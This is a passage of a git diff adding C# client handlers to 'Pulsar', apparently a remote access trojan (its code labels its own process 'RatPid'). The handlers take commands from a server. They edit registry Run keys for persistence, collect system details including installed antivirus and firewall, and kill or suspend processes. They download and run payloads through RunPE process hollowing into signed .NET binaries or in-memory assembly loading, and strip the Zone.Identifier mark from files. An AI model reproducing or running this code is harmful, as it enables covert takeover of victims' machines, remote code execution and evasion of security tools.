TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out var tokenHandle)) + return false; + + try + { + if (!LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, out var luid)) + return false; + + var tp = new TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = new LUID_AND_ATTRIBUTES + { + Luid = luid, + Attributes = SE_PRIVILEGE_ENABLED + } + }; + + if (!AdjustTokenPrivileges(tokenHandle, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero)) + return false; + + // AdjustTokenPrivileges returns true even when it fails to enable; check last error + return Marshal.GetLastWin32Error() == 0; + } + finally + { + CloseHandle(tokenHandle); + } + } + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + private static bool IsAdministrator() + { + try + { + using (var id = WindowsIdentity.GetCurrent()) + { + var wp = new WindowsPrincipal(id); + return wp.IsInRole(WindowsBuiltInRole.Administrator); + } + } + catch + { + return false; + } + } + + private static void ThrowLastWin32Error(string message) + { + var err = new Win32Exception(Marshal.GetLastWin32Error()); + throw new InvalidOperationException($"{message}: {err.Message}"); + } + + #endregion + } +} diff --git a/Pulsar.Client/Messages/StartupManagerHandler.cs b/Pulsar.Client/Messages/StartupManagerHandler.cs new file mode 100644 index 0000000..0bfe23a --- /dev/null +++ b/Pulsar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,267 @@ +using Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Enums; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.StartupManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Pulsar.Client.Messages +{ + public class StartupManagerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/SystemInformationHandler.cs b/Pulsar.Client/Messages/SystemInformationHandler.cs new file mode 100644 index 0000000..b1aeb89 --- /dev/null +++ b/Pulsar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,76 @@ +using Pulsar.Client.Helper; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Pulsar.Client.IO; +using Pulsar.Common.Messages.Administration.SystemInfo; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Client.Messages +{ + public class SystemInformationHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetSystemInfo; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + string defaultBrowser = SystemHelper.GetDefaultBrowser(); + + List> lstInfos = new List> + { + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuNames), + new Tuple("Username", userAccount.UserName), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country), + new Tuple("Default Browser", defaultBrowser) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + } +} diff --git a/Pulsar.Client/Messages/TaskManagerHandler.cs b/Pulsar.Client/Messages/TaskManagerHandler.cs new file mode 100644 index 0000000..9943f9c --- /dev/null +++ b/Pulsar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,440 @@ +using Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.Helper; +using Pulsar.Common; +using Pulsar.Common.Enums; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.TaskManager; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Net; +using System.Reflection; +using System.Threading; + +namespace Pulsar.Client.Messages +{ + public class TaskManagerHandler : IMessageProcessor, IDisposable + { + private readonly PulsarClient _client; + private readonly WebClient _webClient; + + public TaskManagerHandler(PulsarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + _webClient = new WebClient { Proxy = null }; + _webClient.DownloadDataCompleted += OnDownloadDataCompleted; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + if (!connected && _webClient.IsBusy) _webClient.CancelAsync(); + } + + public bool CanExecute(IMessage message) => + message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd || + message is DoProcessDump || + message is DoSetTopMost || + message is DoSuspendProcess || + message is DoSetWindowState; + + public bool CanExecuteFrom(ISender sender) => true; + + private void SendStatus(string message) + { + try { _client.Send(new SetStatus { Message = message }); } + catch { } + } + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: Execute(sender, msg); break; + case DoProcessStart msg: Execute(sender, msg); break; + case DoProcessEnd msg: Execute(sender, msg); break; + case DoProcessDump msg: Execute(sender, msg); break; + case DoSuspendProcess msg: Execute(sender, msg); break; + case DoSetTopMost msg: Execute(sender, msg); break; + case DoSetWindowState msg: Execute(sender, msg); break; + } + } + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc != null) + { + proc.Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + SendStatus($"Process PID {message.Pid} ({proc.ProcessName}) successfully terminated"); + } + else + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed: PID {message.Pid} not found"); + } + } + catch (System.ComponentModel.Win32Exception ex) + { + // Happens when user lacks privileges to terminate the process + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed for PID {message.Pid}: Access denied (admin privileges required). {ex.Message}"); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + SendStatus($"Kill failed for PID {message.Pid}: {ex.Message}"); + } + } + + // ---------------------- WINDOW HANDLERS ---------------------- + private void Execute(ISender client, DoSuspendProcess message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc != null) + { + if (message.Suspend) + Utilities.NativeMethods.NtSuspendProcess(proc.Handle); + else + Utilities.NativeMethods.NtResumeProcess(proc.Handle); // <--- process-level resume + + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = true + }); + + SendStatus($"Process PID {message.Pid} {(message.Suspend ? "suspended" : "resumed")}"); + } + else + { + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = false + }); + + SendStatus($"Process PID {message.Pid} not found"); + } + } + catch + { + client.Send(new DoProcessResponse + { + Action = ProcessAction.Suspend, + Result = false + }); + + SendStatus($"Failed to {(message.Suspend ? "suspend" : "resume")} PID {message.Pid}"); + } + } + + + + private void Execute(ISender client, DoSetWindowState message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc == null || proc.MainWindowHandle == IntPtr.Zero) + { + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false }); + SendStatus($"SetWindowState failed: PID {message.Pid} not found or has no main window"); + return; + } + + int nCmd = message.Minimize ? 6 : 9; + bool result = Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, nCmd); + + if (result) + SendStatus($"Window {(message.Minimize ? "minimized" : "restored")} for PID {message.Pid}"); + else + SendStatus($"SetWindowState failed for PID {message.Pid}: Access denied or higher privilege required"); + + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = result }); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false }); + SendStatus($"SetWindowState failed for PID {message.Pid}: {ex.Message}"); + } + } + + private void Execute(ISender client, DoSetTopMost message) + { + try + { + Process proc = Process.GetProcessById(message.Pid); + if (proc == null || proc.MainWindowHandle == IntPtr.Zero) + { + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false }); + SendStatus($"SetTopMost failed: PID {message.Pid} not found or has no main window"); + return; + } + + const int HWND_TOPMOST = -1; + const int HWND_NOTOPMOST = -2; + const uint SWP_NOSIZE = 0x0001; + const uint SWP_NOMOVE = 0x0002; + const uint SWP_SHOWWINDOW = 0x0040; + + Utilities.NativeMethods.SetForegroundWindow(proc.MainWindowHandle); + if (Utilities.NativeMethods.IsIconic(proc.MainWindowHandle)) + Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, 9); + + IntPtr hWndInsertAfter = new IntPtr(message.Enable ? HWND_TOPMOST : HWND_NOTOPMOST); + bool result = Utilities.NativeMethods.SetWindowPos( + proc.MainWindowHandle, + hWndInsertAfter, + 0, 0, 0, 0, + SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW + ); + + if (result) + SendStatus($"TopMost {(message.Enable ? "enabled" : "disabled")} for PID {message.Pid}"); + else + SendStatus($"SetTopMost failed for PID {message.Pid}: Access denied or higher privilege required"); + + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = result }); + } + catch (Exception ex) + { + client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false }); + SendStatus($"SetTopMost failed for PID {message.Pid}: {ex.Message}"); + } + } + + // ---------------------- PROCESS HANDLERS ---------------------- + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + var parentMap = GetParentProcessMap(); + + for (int i = 0; i < pList.Length; i++) + { + processes[i] = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle, + ParentId = parentMap.TryGetValue(pList[i].Id, out var parentId) ? parentId : null + }; + } + + int currentPid = Process.GetCurrentProcess().Id; + client.Send(new GetProcessesResponse { Processes = processes, RatPid = currentPid }); + } + + private void Execute(ISender client, DoProcessStart message) + { + SendStatus($"Starting process: {message.FilePath ?? message.DownloadUrl}"); + + if (string.IsNullOrEmpty(message.FilePath) && (message.FileBytes == null || message.FileBytes.Length == 0)) + { + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: No file path or download URL"); + return; + } + + try + { + if (_webClient.IsBusy) { _webClient.CancelAsync(); while (_webClient.IsBusy) Thread.Sleep(50); } + _webClient.DownloadDataAsync(new Uri(message.DownloadUrl), message); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: Download error"); + } + } + else + { + ExecuteProcess(message.FileBytes, message.FilePath, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension); + } + } + + private void OnDownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e) + { + var message = (DoProcessStart)e.UserState; + if (e.Cancelled || e.Error != null) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: Download cancelled or error"); + return; + } + ExecuteProcess(e.Result, null, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension); + } + + private void ExecuteProcess(byte[] fileBytes, string filePath, bool isUpdate, bool executeInMemory, bool useRunPE, string runPETarget, string runPECustomPath, string fileExtension) + { + if (fileBytes == null && !string.IsNullOrEmpty(filePath) && File.Exists(filePath)) + fileBytes = File.ReadAllBytes(filePath); + + if (fileBytes == null || fileBytes.Length == 0) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus("Process start failed: no file bytes available"); + return; + } + + try + { + if (useRunPE) { ExecuteViaRunPE(fileBytes, runPETarget, runPECustomPath); return; } + if (executeInMemory) { ExecuteViaInMemoryDotNet(fileBytes); return; } + ExecuteViaTemporaryFile(fileBytes, fileExtension); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"Process start failed: {ex.Message}"); + } + } + + private void ExecuteViaRunPE(byte[] fileBytes, string runPETarget, string runPECustomPath) + { + new Thread(() => + { + try + { + bool result = Helper.RunPE.Execute(GetRunPEHostPath(runPETarget, runPECustomPath, IsPayload64Bit(fileBytes)), fileBytes); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = result }); + SendStatus($"RunPE execution {(result ? "succeeded" : "failed")}"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"RunPE failed: {ex.Message}"); + } + }).Start(); + } + + private void ExecuteViaInMemoryDotNet(byte[] fileBytes) + { + new Thread(() => + { + try + { + Assembly asm = Assembly.Load(fileBytes); + MethodInfo entry = asm.EntryPoint; + if (entry != null) + entry.Invoke(null, entry.GetParameters().Length == 0 ? null : new object[] { new string[0] }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + SendStatus(".NET in-memory execution succeeded"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($".NET in-memory execution failed: {ex.Message}"); + } + }).Start(); + } + + private void ExecuteViaTemporaryFile(byte[] fileBytes, string fileExtension) + { + try + { + string tempPath = FileHelper.GetTempFilePath(fileExtension ?? ".exe"); + File.WriteAllBytes(tempPath, fileBytes); + FileHelper.DeleteZoneIdentifier(tempPath); + Process.Start(new ProcessStartInfo { UseShellExecute = true, FileName = tempPath }); + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + SendStatus("Process executed via temporary file"); + } + catch (Exception ex) + { + _client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + SendStatus($"Temporary file execution failed: {ex.Message}"); + } + } + + private Dictionary GetParentProcessMap() + { + var map = new Dictionary(); + try + { + using (var searcher = new ManagementObjectSearcher("SELECT ProcessId, ParentProcessId FROM Win32_Process")) + using (var results = searcher.Get()) + { + foreach (ManagementObject obj in results) + { + int pid = Convert.ToInt32(obj["ProcessId"]); + int? parent = obj["ParentProcessId"] != null ? Convert.ToInt32(obj["ParentProcessId"]) : (int?)null; + map[pid] = parent != pid ? parent : null; + } + } + } + catch { } + return map; + } + + private bool IsPayload64Bit(byte[] payload) + { + try + { + if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') return false; + int peOffset = BitConverter.ToInt32(payload, 0x3C); + return BitConverter.ToUInt16(payload, peOffset + 4) == 0x8664; + } + catch { return false; } + } + + private string GetRunPEHostPath(string target, string customPath, bool is64) + { + string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + string frameworkDir = is64 + ? Path.Combine(winDir, "Microsoft.NET", "Framework64", "v4.0.30319") + : Path.Combine(winDir, "Microsoft.NET", "Framework", "v4.0.30319"); + + if (!Directory.Exists(frameworkDir)) + frameworkDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(); + + switch (target) + { + case "a": + return Path.Combine(frameworkDir, "RegAsm.exe"); + case "b": + return Path.Combine(frameworkDir, "RegSvcs.exe"); + case "c": + return Path.Combine(frameworkDir, "MSBuild.exe"); + case "d": + return customPath; + default: + return Path.Combine(frameworkDir, "RegAsm.exe"); + } + } + + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _webClient.DownloadDataCompleted -= OnDownloadDataCompleted; + _webClient.CancelAsync(); + _webClient.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/TcpConnectionsHandler.cs b/Pulsar.Client/Messages/TcpConnectionsHandler.cs new file mode 100644 index 0000000..bef5578 --- /dev/null +++ b/Pulsar.Client/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,119 @@ +using Pulsar.Client.Utilities; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Administration.TCPConnections; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Messages +{ + public class TcpConnectionsHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) + { + var table = GetTable(); + + var connections = new TcpConnection[table.Length]; + + for (int i = 0; i < table.Length; i++) + { + string processName; + try + { + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; + } + catch + { + processName = $"PID: {table[i].owningPid}"; + } + + connections[i] = new TcpConnection + { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState)table[i].state + }; + } + + client.Send(new GetConnectionsResponse { Connections = connections }); + } + + private void Execute(ISender client, DoCloseConnection message) + { + var table = GetTable(); + + for (var i = 0; i < table.Length; i++) + { + //search for connection + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) + { + // it will close the connection only if client run as admin + table[i].state = (byte) ConnectionState.Delete_TCB; + var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); + Marshal.StructureToPtr(table[i], ptr, false); + NativeMethods.SetTcpEntry(ptr); + Execute(client, new GetConnections()); + return; + } + } + } + + private NativeMethods.MibTcprowOwnerPid[] GetTable() + { + NativeMethods.MibTcprowOwnerPid[] tTable; + var afInet = 2; + var buffSize = 0; + // retrieve correct pTcpTable size + NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + var buffTable = Marshal.AllocHGlobal(buffSize); + try + { + var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); + if (ret != 0) + return null; + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); + tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; + for (var i = 0; i < tab.dwNumEntries; i++) + { + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + tTable[i] = tcpRow; + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + } + finally + { + Marshal.FreeHGlobal(buffTable); + } + return tTable; + } + } +} diff --git a/Pulsar.Client/Messages/WallpaperHandler.cs b/Pulsar.Client/Messages/WallpaperHandler.cs new file mode 100644 index 0000000..1b9fb66 --- /dev/null +++ b/Pulsar.Client/Messages/WallpaperHandler.cs @@ -0,0 +1,42 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.FunStuff; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Client.Messages +{ +public class WallpaperHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoChangeWallpaper; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoChangeWallpaper changeWallpaperMessage) + { + SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat); + } + } + + private void SetWallpaper(byte[] imageData, string imageFormat) + { + string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}"); + File.WriteAllBytes(tempPath, imageData); + + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE); + } + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni); + + private const int SPI_SETDESKWALLPAPER = 20; + private const int SPIF_UPDATEINIFILE = 0x01; + private const int SPIF_SENDCHANGE = 0x02; + } +} diff --git a/Pulsar.Client/Messages/WebsiteVisitorHandler.cs b/Pulsar.Client/Messages/WebsiteVisitorHandler.cs new file mode 100644 index 0000000..6ccec73 --- /dev/null +++ b/Pulsar.Client/Messages/WebsiteVisitorHandler.cs @@ -0,0 +1,62 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.Website; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; + +namespace 